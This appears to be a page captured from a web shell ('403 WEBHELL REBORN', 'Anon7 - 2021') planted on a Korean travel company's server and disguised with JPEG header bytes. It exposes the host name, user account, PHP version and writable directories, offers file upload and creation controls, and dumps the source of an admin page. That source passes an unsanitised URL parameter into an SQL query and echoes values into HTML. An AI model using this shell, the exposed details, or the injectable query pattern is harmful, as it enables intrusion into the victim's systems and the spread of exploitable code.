ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/design/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/design/mainViewProduct.html
<?php
    include "../include/top.html";
    include "_common.php";

    $lang = $_GET['lang'];

    if ($lang == 'ko') {
		$lang_txt = '여행대장 ';
    }else if ($lang == 'en') {
		$lang_txt = 'TK영어 ';
    }else if ($lang == 'cn') {
		$lang_txt = 'TK간체 ';
    }else if ($lang == 'hk') {
		$lang_txt = 'TK번체 ';
    }

    $tableName = "mainViewSection";

    //데이터 불러오기
    $sql = "SELECT * FROM {$tableName} WHERE lang = '{$lang}' ORDER BY seq ASC";
    $res = db_query($sql);

    $sectionViewList = array();
    $sectionNotViewList = array();

    while ($row = db_fetch_array($res)) {
        //등록된 상품 수
        $mainViewSectionID = (int) $row['mainViewSectionID'];

        $sql = "SELECT count(*) AS totalCnt FROM mainViewSectionGoods WHERE mainViewSectionID = {$mainViewSectionID}";
        $goodCntData = db_fetch($sql);

		$goodCnt = (int) $goodCntData['totalCnt'];

        $row['goodCnt'] = $goodCnt;

        if($row['isView'] == 'Y'){
			array_push($sectionViewList, $row);
        }else{
			array_push($sectionNotViewList, $row);
        }
    }
?>
<style>
#contents .contents_wrap_in{background:#eee}
#Content_box label{clear:both;float:left;width:100px}
#Content_box input{border:1px solid #ccc}
.sectionList{clear:both;float:left;width:90%;border:1px solid #ccc;border-radius:10px;margin-top:10px;margin-left:16px;padding:1%}
.sectionList h1{float:left;font-size:20px;margin-bottom:10px;margin-left:6px}
.sectionList ul{clear:both;float:left;}
.sectionList li{cursor:pointer;position:relative;background:#3edcca;background:#ffffff;box-shadow: 0px 2px 10px -2px rgb(0 0 0 / 30%), 0px 0px 1px 0px rgb(0 0 0 / 28%);}
.sectionList li:hover{background:#3edcca}
.sectionList li h2{font-size:16px;font-weight:bolder}
.sectionList li label{clear:both;float:left;position:absolute;left:10px;bottom:10px}
.sectionArea{float:left;width:290px;min-height:130px;border:1px solid #ccc;border-radius:10px;margin:5px;padding:10px}
#setSequenceMainPageViewSectionBtn{float:left;border:1px solid #cd1f28;border-radius:3px;position:relative;top:-6px;margin-left:6px;background:#cd1f28;color:#fff;margin-left:10px;padding-left:10px;padding-right:10px;cursor:pointer}
.modifyBtn, .saveBtn{float:right;border:1px solid #ccc;height:20px !important;position:absolute;right:10px;bottom:10px;border-radius: 3px;background: #cd1f28;color: #fff;border: none;cursor:pointer}
.saveBtn{display:none}
.inputBoxArea{float:left;width:562px;border:1px solid #ccc;background:#fff;padding:10px;border-radius:10px;box-shadow: 0px 2px 10px -2px rgb(0 0 0 / 30%), 0px 0px 1px 0px rgb(0 0 0 / 28%);position:relative;}
.inputBoxArea label{position:relative;top:7px}
.sectionSavenBtn{clear:both;float:right;margin-right:10px;cursor:pointer}
.modifyBoxArea{display:none;margin-left:20px}
#Content_box h2{padding-left:0;padding-bottom:2px}
.ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default, .ui-button, html .ui-button.ui-state-disabled:hover, html .ui-button.ui-state-disabled:active{border:none !important;}
.sectionSavenBtn{border-radius:3px}
.goodsCnt{font-weight:bolder}
.noti{font-weight:normal;color: #eb3b5a;font-size: 11px;}
.sectionList .noti{margin-left:5px}
#onePageCnt, #modifyOnePageCnt{width:37px}
#insSectionHotelCheckboxArea{position: absolute;right: 10px;display: block;width: unset !important;}
#insSectionHotelCheckboxArea p, #insSectionHotelCheckboxArea input{float:left}
#insSectionHotelCheckboxArea input{margin-left:5px;position:relative;top:1px}
.sectionList ul li .xi-hotel{position:absolute;right:10px;top:10px;font-size:20px}
</style>
<link href="https://code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="https://code.jquery.com/jquery-1.12.4.min.js" ></script>
<script type="text/javascript" src="https://code.jquery.com/ui/1.12.1/jquery-ui.js" ></script>

<div class="contents_wrap">
    <div class="contents_wrap_in">
        <div class="title">
            메인페이지 노출
            <span class="arrow">&gt;</span>
            <strong><?= $lang_txt ?></strong>
        </div>

        <div class="contents_detail">
            <div id="Content_box" style="    clear: both;
    float: left;
    width: 90%;
    padding: 1%;
    border: 1px solid #ccc;
    border-radius: 10px;
background:none;">
                <!-- 폼 -->
                <div class="inputBoxArea">
                    <form name="frm_ins" method="post" action="./mainViewProductProc.php" enctype="multipart/form-data">
                        <h2>섹션 생성</h2>
                        <label id="insSectionHotelCheckboxArea">
                            <p>호텔섹션</p>
                            <input type="checkbox" name="hotelSection" id="hotelSection" />
                        </label>
                        <input type="hidden" name="SqlType" value="insCategory"/>
                        <input type="hidden" name="lang" value="<?= $lang ?>"/>
                        <br>
                        <label for="title">섹션명</label>
                        <input type="text" name="title" id="title" style="width:350px" required/>
                        <br>
                        <br>
                        <label for="description">섹션설명문구</label>
                        <input type="text" name="description" id="description" style="width:350px" required/>
                        <br>
                        <br>
                        <label for="onePageCnt">상품노출수량</label>
                        <input type="number" name="onePageCnt" id="onePageCnt" step="3" min="3" value="6" required/>
                        <span class="noti">※ 한페이지에 표시할 상품 수, PC에만 적용되며 3의 배수로 입력해주세요.</span>
                        <input type="submit" class="sectionSavenBtn" value="신규생성" style="background:#3b3b3b;color:#fff;height:30px;border:none;padding:5px 11px"/>
                    </form>
                </div>

                <div class="inputBoxArea modifyBoxArea">
                    <form name="frm_ins" method="post" action="./mainViewProductProc.php" enctype="multipart/form-data">
                        <h2>섹션 편집</h2>
                        <label id="insSectionHotelCheckboxArea">
                            <p>호텔섹션</p>
                            <input type="checkbox" name="hotelSection" id="modifyHotelSection" />
                        </label>
                        <input type="hidden" name="SqlType" value="modifyCategory"/>
                        <input type="hidden" name="lang" value="<?= $lang ?>" />
                        <input type="hidden" name="modifyMainViewSectionID" id="modifyMainViewSectionID" value="" required/>
                        <br>
                        <label for="title">섹션명</label>
                        <input type="text" name="title" id="modifyTitle" style="width:350px" required/>
                        <br>
                        <br>
                        <label for="description">섹션설명문구</label>
                        <input type="text" name="description" id="modifyDescription" style="width:350px" required/>
                        <br>
                        <br>
                        <label for="onePageCnt">상품노출수량</label>
                        <input type="number" name="onePageCnt" id="modifyOnePageCnt" step="3" min="3" value="6" required/>
                        <span class="noti">※ 한페이지에 표시할 상품 수, PC에만 적용되며 3의 배수로 입력해주세요.</span>
                        <input type="submit" class="sectionSavenBtn" value="수정저장" style="background:#3b3b3b;color:#fff;height:30px;border:none;padding:5px 11px"/>
                    </form>
                </div>
            </div>

            <section class="sectionList">
                <h1>노출 섹션</h1>
                <input type="button" id="setSequenceMainPageViewSectionBtn" value="순서 변경 저장" />
                <span class="noti">※ 해당 섹션에 등록된 상품수가 1이상이면 메인페이지에 표시됩니다.</span>
                <ul id="sortable">
					<?php
					foreach($sectionViewList as $item){
                    ?>
                        <li id="mainSection<?=$item['mainViewSectionID']?>" class="sectionArea ui-state-default" mode="view" mainViewSectionID="<?=$item['mainViewSectionID']?>">
                            <?php
                                if($item['hotelSection'] == 'Y'){
                            ?>
                                <i class="xi-hotel"></i>
                            <?php
								}
                            ?>
                            <a href="/toadmin/design/mainViewSectionList.html?mainViewSectionID=<?=$item['mainViewSectionID']?>&lang=<?=$lang?>" target="_blank">
                                <h2><?=$item['title']?></h2>
                                <br>
                                <p class="description"><?=$item['description']?></p>
                                <br>
                                <p>등록된 상품 수 : <b class="goodsCnt"><?=$item['goodCnt']?></b></p>
                                <p>상품노출수량 : <b class="goodsPageCnt"><?=$item['onePageCnt']?></b></p>
                            </a>

                            <label>
                                노출
                                <input type="checkbox" class="isViewBtn" lang="<?=$lang?>" name="" <?=(($item['isView'] == 'Y') ? 'checked' : '')?> mainViewSectionID="<?=$item['mainViewSectionID']?>" />
                            </label>
                            <input type="hidden" name="hotelSection" class="hotelSection" value="<?=(($item['hotelSection'] == 'Y') ? 'Y' : 'N')?>" />
                            <input type="button" class="modifyBtn" id="modifyBtn-<?=$item['mainViewSectionID']?>" mainViewSectionID="<?=$item['mainViewSectionID']?>" value="수정" />
                            <input type="button" class="saveBtn" id="saveBtn-<?=$item['mainViewSectionID']?>" mainViewSectionID="<?=$item['mainViewSectionID']?>" value="저장" />
                        </li>
                    <?php
					}
					?>
                </ul>
            </section>

            <section class="sectionList">
                <h1>비노출 섹션</h1>
                <ul id="sortable2">
					<?php
					foreach($sectionNotViewList as $item){
                    ?>
                        <li id="mainSection<?=$item['mainViewSectionID']?>" class="sectionArea ui-state-default">
							<?php
							if($item['hotelSection'] == 'Y'){
								?>
                                <i class="xi-hotel"></i>
								<?php
							}
							?>
                            <a href="/toadmin/design/mainViewSectionList.html?mainViewSectionID=<?=$item['mainViewSectionID']?>&lang=<?=$lang?>" target="_blank">
                                <h2><?=$item['title']?></h2>

                                <br>
                                <p class="description"><?=$item['description']?></p>
                                <br>
                                <p>등록된 상품 수 : <b class="goodsCnt"><?=$item['goodCnt']?></b></p>
                                <p>상품노출수량 : <b class="goodsPageCnt"><?=$item['onePageCnt']?></b></p>
                            </a>
                            <label>
                                노출
                                <input type="checkbox" class="isViewBtn" lang="<?=$lang?>" name="" <?=(($item['isView'] == 'Y') ? 'checked' : '')?> mainViewSectionID="<?=$item['mainViewSectionID']?>" />
                            </label>
                            <input type="hidden" name="hotelSection" class="hotelSection" value="<?=(($item['hotelSection'] == 'Y') ? 'Y' : 'N')?>" />
                            <input type="button" class="modifyBtn" id="modifyBtn-<?=$item['mainViewSectionID']?>" mainViewSectionID="<?=$item['mainViewSectionID']?>" value="수정" />
                            <input type="button" class="saveBtn" id="saveBtn-<?=$item['mainViewSectionID']?>" mainViewSectionID="<?=$item['mainViewSectionID']?>" value="저장" />
                        </li>
                    <?php
                    }
                    ?>
                </ul>
            </section>
        </div>
    </div>
</div>
<script>
    $(window).load(function(){
        $("#sortable").sortable();
        $("#sortable").disableSelection();

        // $("#sortable2").sortable();
        // $("#sortable2").disableSelection();

        $('#setSequenceMainPageViewSectionBtn').click(function(){
            setSequenceMainPageViewSection();
        })

        //내용 수정
        $(document).on('click', '.modifyBtn', function(){
            mainSectionID = $(this).attr('mainViewSectionID');

            // $('#mainSection' + mainSectionID + ' h2').text();
            // $('#mainSection' + mainSectionID + ' .description').text();


            $('.modifyBoxArea').fadeIn('fast');
            $('#modifyMainViewSectionID').val(mainSectionID);
            $('#modifyTitle').val($('#mainSection' + mainSectionID + ' h2').text());
            $('#modifyDescription').val($('#mainSection' + mainSectionID + ' .description').text());
            $('#modifyOnePageCnt').val($('#mainSection' + mainSectionID + ' .goodsPageCnt').text());

            console.log($('#mainSection' + mainSectionID + ' .hotelSection').val());
            // $('#modifyOnePageCnt').val();

            if($('#mainSection' + mainSectionID + ' .hotelSection').val() == 'Y'){
                $('#modifyHotelSection').prop("checked", true);
            }else{
                $('#modifyHotelSection').prop("checked", false);
            }


            $('#modifyTitle').focus();
        });

        //노출설정
        $(document).on('click', '.isViewBtn', function(){

            sectionID = $(this).attr('mainViewSectionID');

            if($(this).prop('checked')){
                checkValue = 'Y';
            }else{
                checkValue = 'N';
            }

            lang = $(this).attr('lang');

            setMainPageViewSectionIsView(sectionID, checkValue, lang);
            setSequenceMainPageViewSection();
        })
    });

    function setMainPageViewSectionIsView(sectionID, checkValue, lang){

        $.ajax({
            type: "POST",
            url: "/toadmin/ajaxData/",
            data: {mode: 'setMainPageViewSectionIsView', sectionID, checkValue, lang},
            dataType: 'json',
            async: false,
            success: function (data) {
                console.log(JSON.stringify(data));
                if (data.result == true) {

                    if(data.checkValue == 'Y'){

                        moveTargetSection = $('#mainSection' + sectionID).html();

                        moveTargetSectionTag = '<li id="mainSection'+sectionID+'" class="sectionArea ui-state-default" mode="view" mainViewSectionID="'+sectionID+'">';
                        moveTargetSectionTag += moveTargetSection;
                        moveTargetSectionTag += "</li>";

                        $('#mainSection' + sectionID).remove();

                        $('#sortable').append(moveTargetSectionTag);

                        $('#mainSection' + sectionID +' .isViewBtn').attr("checked",true);

                        $("#sortable").sortable();
                        $("#sortable").disableSelection();
                    }else{

                        moveTargetSection = $('#mainSection' + sectionID).html();

                        moveTargetSectionTag = '<li id="mainSection'+sectionID+'" class="sectionArea ui-state-default" mode="view" mainViewSectionID="'+sectionID+'">';
                        moveTargetSectionTag += moveTargetSection;
                        moveTargetSectionTag += "</li>";

                        $('#mainSection' + sectionID).remove();

                        $('#sortable2').append(moveTargetSectionTag);

                        $('#mainSection' + sectionID +' .isViewBtn').attr("checked",false);

                        $("#sortable2").sortable();
                        $("#sortable2").disableSelection();
                    }

                    iziToast.show({
                        timeout: 2000,
                        color: 'green',
                        title: '메인노출설정',
                        message: "완료되었습니다.",
                    });

                } else {

                    iziToast.show({
                        timeout: 2000,
                        color: 'red',
                        title: '메인노출설정',
                        message: "실패하였습니다.",
                    });

                }
            },
            error: function (e) {
                console.log('error');
            }
        });
    }


    function setSequenceMainPageViewSection() {

        document.getElementById('sortable').getElementsByClassName('sectionArea').length;

        sendData = "";

        for (i = 0; i < document.getElementById('sortable').getElementsByClassName('sectionArea').length; i++) {

            sequence = i + 1;

            console.log(document.getElementById('sortable').getElementsByClassName('sectionArea')[i].getElementsByTagName('h2')[0].innerText);
            if (!sendData) {
                sendData = document.getElementById('sortable').getElementsByClassName('sectionArea')[i].getAttribute('mainviewsectionid') + '-' + sequence
            } else {
                sendData += ',' + document.getElementById('sortable').getElementsByClassName('sectionArea')[i].getAttribute('mainviewsectionid') + '-' + sequence
            }
            console.log(document.getElementById('sortable').getElementsByClassName('sectionArea')[i].getAttribute('mainviewsectionid'));
        }

        console.log(sendData);

        $.ajax({
            type: "POST",
            url: "/toadmin/ajaxData/",
            data: {mode: 'setSeqMainViewSection', seqData: sendData},
            dataType: 'json',
            async: false,

            success: function (data) {
                console.log(JSON.stringify(data));
                if (data.result == true) {
                    iziToast.show({
                        timeout: 2000,
                        color: 'green',
                        title: '메인노출섹션',
                        message: "적용되었습니다.",
                    });
                } else {
                    iziToast.show({
                        timeout: 2000,
                        color: 'red',
                        title: '메인노출섹션 실패',
                        message: "실패하였습니다.",
                    });
                }
            },

            error: function (e) {
                console.log('error');
            }

        });
    }



    function edit_frm() {
        var f = document.frm_ins;

        // 폼체크
        var result = to_validation(f);
        if (result == false) return false;

        if (!confirm("저장하시겠습니까?")) return false;

        f.action = "mainViewProductProc.php";
        f.submit();
    }
</script>
<?
include "../include/footer.html";
?>


Anon7 - 2021